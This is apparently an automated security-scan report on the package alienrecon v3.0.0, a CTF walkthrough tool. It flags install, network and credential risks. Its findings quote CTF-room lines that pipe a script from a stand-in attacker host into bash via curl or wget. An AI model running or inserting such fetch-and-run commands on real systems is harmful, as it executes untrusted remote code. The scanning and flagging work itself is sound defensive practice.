Summary
alienrecon v3.0.0 was classified as CRITICAL RISK with a risk score of 519. Sigil detected 35 findings across 93 files, covering phases including code patterns, network exfiltration, install hooks, credential access. Review the findings below before installing this package.
Package description: AI-powered CTF instructor. Guided walkthroughs for TryHackMe rooms.
v3.0.0
22 March 2026, 09:46 UTC
by Sigil Bot
Risk Score
519
Findings
35
Files Scanned
93
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install-makefile-curl
HIGHMakefile/script pipes remote content to shell
alienrecon-3.0.0/src/alienrecon/data/rooms/thm-linprivesc.yaml:251
# On target:
curl http://ATTACKER_IP/linpeas.sh | bash
# or: wget -O- http://ATTACKER_IP/linpeas.sh | bashWhy was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
alienrecon-3.0.0/src/alienrecon/data/rooms/thm-linprivesc.yaml:252
curl http://ATTACKER_IP/linpeas.sh | bash
# or: wget -O- http://ATTACKER_IP/linpeas.sh | bash
```Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
alienrecon-3.0.0/src/alienrecon/data/rooms/thm-linprivesc.yaml:272
command: |
curl http://ATTACKER_IP/linpeas.sh | bash 2>/dev/null
expected_output: |Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
install-makefile-curl
HIGHMakefile/script pipes remote content to shell
alienrecon-3.0.0/src/alienrecon/data/rooms/thm-linprivesc.yaml:890
# 9. Run linpeas
curl http://ATTACKER_IP/linpeas.sh | bash
```Why was this flagged?
A script or Makefile pipes content from a remote URL directly into a shell (curl | sh or wget | bash). This is inherently dangerous because the remote content can change at any time, and the command runs with the current user's permissions. Rated HIGH because it requires manual execution (unlike install hooks) but still executes arbitrary remote code.
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